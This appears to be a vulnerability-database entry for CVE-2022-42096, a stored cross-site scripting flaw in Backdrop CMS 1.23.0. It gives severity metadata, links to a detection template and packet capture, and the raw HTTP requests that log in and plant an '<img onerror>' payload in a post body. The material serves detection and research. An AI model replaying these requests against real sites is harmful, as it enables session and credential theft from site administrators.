| Title | Backdrop CMS version 1.23.0 - Cross Site Scripting (Stored) |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Authenticated attackers with content creation privileges can inject malicious JavaScript through post content to steal administrator session cookies and credentials when the malicious content is viewed. |
| Remediation | Upgrade to a patched version of Backdrop CMS or apply the necessary security patches provided by the vendor. |
| CVSS Score | 4.8 |
| EPSS Score | 0.21351 |
| CVE ID | CVE-2022-42096 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 xss cms backdrop authenticated intrusive backdropcms vuln |
Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via Post content.
GET /?q=user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
POST /?q=user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
name=qaKrPN&pass=xzl3Nk&form_build_id=EbvqIV&form_id=user_login&op=Log+in
GET /?q=node/add/post HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Connection: close
Accept-Encoding: gzip
POST /?q=node/add/post HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8
Connection: close
Content-Length: 2585
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIubltUxssi0yqDjp
Accept-Encoding: gzip
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="title"
38FCmTN6TU6RTMVTTZ1J6QpHtqw
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="field_tags[und]"
38FCmTN6TU6RTMVTTZ1J6QpHtqw
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="body[und][0][summary]"
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="body[und][0][value]"
<img src=x onerror=alert(document.domain)>
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="body[und][0][format]"
full_html
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="files[field_image_und_0]"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="field_image[und][0][fid]"
0
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="field_image[und][0][display]"
1
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="changed"
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="form_build_id"
EbvqIV
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="form_token"
JhjCgY
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="form_id"
vSL7EC
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="status"
1
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="scheduled[date]"
2023-04-25
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="scheduled[time]"
16:59:23
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="promote"
1
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="name"
qpBRe4
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="date[date]"
2023-04-24
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="date[time]"
16:59:23
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="path[auto]"
1
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="comment"
2
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="additional_settings__active_tab"
------WebKitFormBoundaryIubltUxssi0yqDjp
Content-Disposition: form-data; name="op"
Save
------WebKitFormBoundaryIubltUxssi0yqDjp--
GET /?q=posts/38FCmTN6TU6RTMVTTZ1J6QpHtqw HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-42096.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-42096.pcap
N/AN/A